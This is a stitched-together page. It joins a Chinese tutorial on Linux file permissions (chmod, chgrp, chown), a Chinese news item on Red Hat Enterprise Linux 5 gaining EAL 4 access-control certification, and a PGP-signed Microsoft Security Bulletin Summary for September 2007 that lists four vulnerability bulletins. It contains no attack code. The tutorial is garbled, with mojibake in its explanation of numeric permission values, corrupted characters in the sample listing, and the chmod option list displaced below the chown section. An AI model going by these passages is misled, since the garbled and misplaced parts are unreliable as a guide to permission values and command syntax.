Linux命令:改变文件或目录的访问权限 Linux系统中的每个文件和目录都有访问许可权限,用它来确定谁可以通过何种方式对文件和目录进行访问和操作。
文件或目录的访问权限分为只读,只写和可执行三种。以文件为例,只读权限表示只允许读其内容,而禁止对其做任何的更改操作。可执行权限表示允许将该文件作为一个程序执行。文件被创建时,文件所有者自动拥有对该文件的读、写和可执行权限,以便于对文件的阅读和修改。用户也可根据需要把访问权限设置为需要的任何组合。
有三种不同类型的用户可对文件或目录进行访问:文件所有者,同组用户、其他用户。所有者一般是文件的创建者。所有者可以允许同组用户有权访问文件,还可以将文件的访问权限赋予系统中的其他用户。在这种情况下,系统中每一位用户都能访问该用户拥有的文件或目录。
每一文件或目录的访问权限都有三组,每组用三位表示,分别为文件属主的读、写和执行权限;与属主同组的用户的读、写和执行权限;系统中其他用户的读、写和执行权限。当用ls -l命令显示文件或目录的详细信息时,最左边的一列为文件的访问权限。例如:
$ ls -l sobsrc. tgz
-rw-r–r– 1 root root 483997 Ju1 l5 17:3l sobsrc. tgz
横线代表空许可。r代表只读,w代表写,x代表可执行。注意这里共有10个位置。第一个字符指定了文件类型。在通常意义上,一个目录也是一个文件。如果第一个字符是横线,表示是一个非目录的文件。如果是d,表示是一个目录。
例如:
- rw- r– r–
普通文件 文件主 组用户 其他用户
是文件sobsrc.tgz 的访问权限,表示sobsrc.tgz是一个普通文件;sobsrc.tgz的属主有读写权限;与sobsrc.tgz属主同组的用户只有读权限;其他用户也只有读权限。
确定了一个文件的访问权限后,用户可以利用Linux系统提供的chmod命令来重新设定不同的访问权限。也可以利用chown命令来更改某个文件或目录的所有者。利用chgrp命令来更改某个文件或目录的用户组。
下面分别对这些命令加以介绍。
chmod 命令
chmod命令是非常重要的,用于改变文件或目录的访问权限。用户用它控制文件或目录的访问权限。
该命令有两种用法。一种是包含字母和操作符表达式的文字设定法;另一种是包含数字的数字设定法。
1. 文字设定法
chmod [who] [+ | - | =] [mode] 文件名?
命令中各选项的含义为:
2. 数字设定法
我们必须首先了解用数字表示的属性的含义:0表示没有权限,1表示可执行权限,2表示尚慈ㄏ蓿?表示可读权限,然后将其相加。所以数字属性的格式应为3个从0到7的八进制数,其顺序是(u)(g)(o)。
例如,如果想让某个文件的属主有“读/写”二种权限,需要把4(可读)+2(可写)=6(读/写)。
数字设定法的一般形式为:
chmod [mode] 文件名?
chgrp命令
功能:改变文件或目录所属的组。
语法:chgrp [选项] group filename?
该命令改变指定指定文件所属的用户组。其中group可以是用户组ID,也可以是/etc/group文件中用户组的组名。文件名是以空格分开的要改变属组的文件列表,支持通配符。如果用户不是该文件的属主或超级用户,则不能改变该文件的组。
该命令的各选项含义为:
- R 递归式地改变指定目录及其下的所有子目录和文件的属组。
chown 命令
功能:更改某个文件或目录的属主和属组。这个命令也很常用。例如root用户把自己的一个文件拷贝给用户xu,为了让用户xu能够存取这个文件,root用户应该把这个文件的属主设为xu,否则,用户xu无法存取这个文件。
语法:chown [选项] 用户或组 文件
说明:chown将指定文件的拥有者改为指定的用户或组。用户可以是用户名或用户ID。组可以是组名或组ID。文件是以空格分开的要改变权限的文件列表,支持通配符。
该命令的各选项含义如下:
- R 递归式地改变指定目录及其下的所有子目录和文件的拥有者。
- v 显示chown命令所做的工作。
操作对象who可是下述字母中的任一个或者它们的组合:
u 表示“用户(user)”,即文件或目录的所有者。
g 表示“同组(group)用户”,即与文件属主有相同组ID的所有用户。
o 表示“其他(others)用户”。
a 表示“所有(all)用户”。它是系统默认值。
操作符号可以是:
+ 添加某个权限。
- 取消某个权限。
= 赋予给定权限并取消其他所有权限(如果有的话)。
设置mode所表示的权限可用下述字母的任意组合:
r 可读。
w 可写。
x 可执行。
X 只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x 属性。
s 在文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u+s”设置文件的用户ID位,“g+s”设置组ID位。
t 保存程序的文本到交换设备上。
u 与文件属主拥有一样的权限。
g 与和文件属主同组的用户拥有一样的权限。
o 与其他用户拥有一样的权限。
文件名:以空格分开的要改变权限的文件列表,支持通配符。
在一个命令行中可给出多个权限方式,其间用逗号隔开。例如:chmod g+r,o+r example
使同组和其他用户对文件example 有读权限。
据国外媒体报道,在IBM服务器上执行的红帽操作系统─Red Hat Enterprise Linux 5的存取控制能力在5月7日取得了美国政府信息安全认证机构所颁发的最高安全等级认证,这意味着那些对信息安全要求较为严格的政府单位将可采用红帽的 Linux操作系统。
此一评鉴是由IBM提出,评估的是在IBM System x、System p、System z及BladeCenter服务器上执行的Red Hat Enterprise Linux 5操作系统。
此次红帽操作系统在三项存取控制部分取得了最高的评估担保等级,包括「卷标式安全保护设定文件」(Labeled Security Protection Profile,LSPP)、「可控制存取保护设定档」(Controlled Access Protection Profile,CAPP)及「以角色为基础的存取控制保护设定档」(Role-Based Access Control Protection Profile,RBAC)。
这并不是Linux操作系统首次取得EAL 4认证,之前红帽其它操作系统版本及Novell的Suse Linux也都曾取得EAL 4认证,但这却是Linux操作系统首次在存取控制能力上取得该认证。
红帽所取得的是国家安全局旗下的国际信息担保组织(National Information Assurance Partnership,NIAP)所颁发的第四级「评估担保等级」(Evaluation Assurance Level 4;EAL 4),NIAP专门评估商业技术产品的安全性,这也是该组织信息安全等级中最高的一级。
一般企业并不会要求此一等级的安全认证,但是有些对信息管控较严格的政府单位则会要求较高的安全等级,例如国防部或国安局等。此外,过去操作系统开发商会要求企业额外购买取得LSPP及RBAC认证的部份,但现在一套操作系统就能支持不同等级的安全性。
InfoWorld引用IBM开放系统副总裁Dan Frye指出,对Linux产业而言这是一个大消息,因为这显示出开放原始码软件可被用在机密运算任务中,证明那些认为开放原始码操作系统不能这样做的人是错的。
—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA1
********************************************************************
Microsoft Security Bulletin Summary for September 2007
Issued: September 11, 2007
********************************************************************
This bulletin summary lists security bulletins released for
September 2007.
The full version of the Microsoft Security Bulletin Summary for
September 2007 can be found at
http://www.microsoft.com/technet/security/bulletin/ms07-sep.mspx.
With the release of the bulletins for September 2007, this bulletin
summary replaces the bulletin advance notification originally issued
on September 6, 2007 and updated on September 7, 2007. For more
information about the bulletin advance
notification service, see
http://www.microsoft.com/technet/security/Bulletin/advance.mspx.
To receive automatic notifications whenever Microsoft Security
Bulletins are issued, subscribe to Microsoft Technical Security
Notifications on
http://www.microsoft.com/technet/security/bulletin/notify.mspx.
Microsoft is hosting a webcast to address customer questions on
these bulletins on Wednesday, September 12, 2007, at 11:00 AM
Pacific Time (US & Canada). Register for the September Security
Bulletin Webcast at
http://www.microsoft.com/technet/security/bulletin/summary.mspx.
Microsoft also provides information to help customers prioritize
monthly security updates with any non-security, high-priority
updates that are being released on the same day as the monthly
security updates. Please see the section, Other Information.
Bulletin Information
====================
The security bulletins for this month are as follows, in order of
severity:
Critical Security Bulletins
===========================
MS07-051 – Vulnerability in Microsoft Agent Could Allow Remote Code
Execution (938827)
- Affected Software:
- Microsoft Windows 2000 Service Pack 4
- Impact: Remote Code Execution
- Version Number: 1.0
Important Security Bulletins
============================
MS07-052 – Vulnerability in Crystal Reports for Visual Studio Could
Allow Remote Code Execution (941522)
- Affected Software:
- Visual Studio .NET 2002 Service Pack 1 (KB937057)
- Visual Studio .NET 2003(KB937058)
- Visual Studio .NET 2003 Service Pack 1 (KB937059)
- Visual Studio 2005 (KB937060)
- Visual Studio 2005 Service Pack 1 (KB937061)
- Impact: Remote Code Execution
- Version Number: 1.0
MS07-053 – Vulnerability in Windows Services for UNIX Could Allow
Elevation of Privilege (939778)
- Affected Software:
- Windows Services for UNIX 3.0 on Windows 2000 Service Pack 4
- Windows Services for UNIX 3.5 on Windows 2000 Service Pack 4
- Windows Services for UNIX 3.0 on Windows XP Service Pack 2
- Windows Services for UNIX 3.5 on Windows XP Service Pack 2
- Windows Services for UNIX 3.0 on Windows Server 2003 Service
Pack 1 and Windows Server 2003 Service Pack 2
- Windows Services for UNIX 3.5 on Windows Server 2003 Service
Pack 1 and Windows Server 2003 Service Pack 2
- Subsystem for UNIX-based Applications on Windows Server 2003
Service Pack 1 and Windows Server 2003 Service Pack 2
- Subsystem for UNIX-based Applications on Windows Server 2003
x64 Edition and Windows Server 2003 x64 Edition Service Pack 2
- Subsystem for UNIX-based Applications on Windows Vista
- Subsystem for UNIX-based Applications on Windows Vista x64
Edition
- Impact: Elevation of Privilege
- Version Number: 1.0
MS07-054 – Vulnerability in MSN Messenger and Windows Live Messenger
Could Allow Remote Code Execution (942099)
- Affected Software:
- MSN Messenger 6.2
- MSN Messenger 7.0
- MSN Messenger 7.5
- Windows Live Messenger 8.0
- Impact: Remote Code Execution
- Version Number: 1.0
Other Information
=================
Microsoft Windows Malicious Software Removal Tool:
==================================================
Microsoft has released an updated version of the Microsoft Windows
Malicious Software Removal Tool on Windows Update, Microsoft Update,
Windows Server Update Services, and the Download Center.
Non-Security, High-Priority Updates on MU, WU, and WSUS:
========================================================
For this month:
* Microsoft has released zero non-security,
high-priority updates on Microsoft Update (MU) and
Windows Server Update Services (WSUS).
* Microsoft has released zero non-security,
high-priority updates for Windows on Windows Update (WU).
Note that this information pertains only to non-security,
high-priority updates on Microsoft Update, Windows Update, and
Windows Server Update Services released on the same day as the
Security Bulletin Summary. Information is not provided about
non-security updates released on other days.
Recognize and avoid fraudulent e-mail to Microsoft customers:
=============================================================
If you receive an e-mail message that claims to be distributing
a Microsoft security update, it is a hoax that may contain
malware or pointers to malicious Web sites. Microsoft does
not distribute security updates via e-mail.
The Microsoft Security Response Center (MSRC) uses PGP to digitally
sign all security notifications. However, it is not required to read
security notifications, read security bulletins, or install security
updates. You can obtain the MSRC public PGP key at
https://www.microsoft.com/technet/security/bulletin/pgp.mspx.
To receive automatic notifications whenever
Microsoft Security Bulletins are issued, subscribe to Microsoft
Technical Security Notifications on
http://www.microsoft.com/technet/security/bulletin/notify.mspx.
*******************************
*************************************
THE INFORMATION PROVIDED IN THIS MICROSOFT COMMUNICATION IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT
DISCLAIMS ALL WARRANTIES, EITHER EXPRESS or IMPLIED, INCLUDING
THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.
IN NO EVENT SHALL MICROSOFT CORPORATION or ITS SUPPLIERS BE
LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS or SPECIAL
DAMAGES, EVEN IF MICROSOFT CORPORATION or ITS SUPPLIERS HAVE BEEN
ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
SOME STATES DO NOT ALLOW THE EXCLUSION or LIMITATION OF LIABILITY
FOR CONSEQUENTIAL or INCIDENTAL DAMAGES SO THE FOREGOING
LIMITATION MAY NOT APPLY.
********************************************************************
—–BEGIN PGP SIGNATURE—–
Version: PGP 8.1
iQIVAwUBRucXXYlDklrxMhdPAQLNaxAAss8u46Eu/G9z8sCN2oFaG74B8Knm2T9A
Eyu3ghBUICTGIZ2A8KEwtTY7wmPm7IQoCtrm7+lDSY8vpli6xVmbnpauaNcNV54R
dKuUJP8LPT6K/rgNpUgAY4utp4TUkj67PdsbZM+jwkwoA0qgygAz3OSsMQst4puV
1Uk6Cuh9CANOvo6RvROyuLHtX7y/16OE3Dyw6InHgoxAuldL+jk2ZGKHkJlZFysE
ajcBVhhARxsDsR0NPwr219dSGG8UVm6lNGj0BTjnJwTk11UcBwkUx+7HO+pBCwaj
h3Sadro8KDZZYdZqMIeFVi2oN9+Vt9ZBD26sgg5JS76ZmWwuKVsWRw0jhUjlWgPS
cCOEt2dt/huxMh3Obnr+EjP34MucuKHkzQZP/9wWz/rYqPNizRK18h9jdSZZlTVZ
uqxgppbbv0uIGTv/mHfKxlCr95WQEqEeU3MTPCLV7ZBbh1m9mJBkg2hx+NvNIMBB
ptzFcD2vSzkPL7muAahwYj+l9O/sa0BnqnT3ONESABgEuOH8m2F1S/8nDavmwSv5
m+/mCtLwtDt4+xF/K7X9poIm0dQ+WT1Q5+E5FKJ5YMaA1fQ8L9BLDtsQo9ZGnW03
q7mImQUEPudYY+ZKM+DLSV9i8Uh3zvmPcDok0CrR8lcEYtWXTYjDom36Cu44tWEZ
P77CUewFaXM=
=Slrs
—–END PGP SIGNATURE—–
To cancel your subscription to this newsletter, reply to this message with the word UNSUBSCRIBE in the Subject line. You can also unsubscribe at the Microsoft.com web site <http://www.microsoft.com/misc/unsubscribe.htm>. You can manage all your Microsoft.com communication preferences at this site.
Legal Information <http://www.microsoft.com/info/legalinfo/default.mspx>.
This newsletter was sent by the Microsoft Corporation
1 Microsoft Way
Redmond, Washington, USA
98052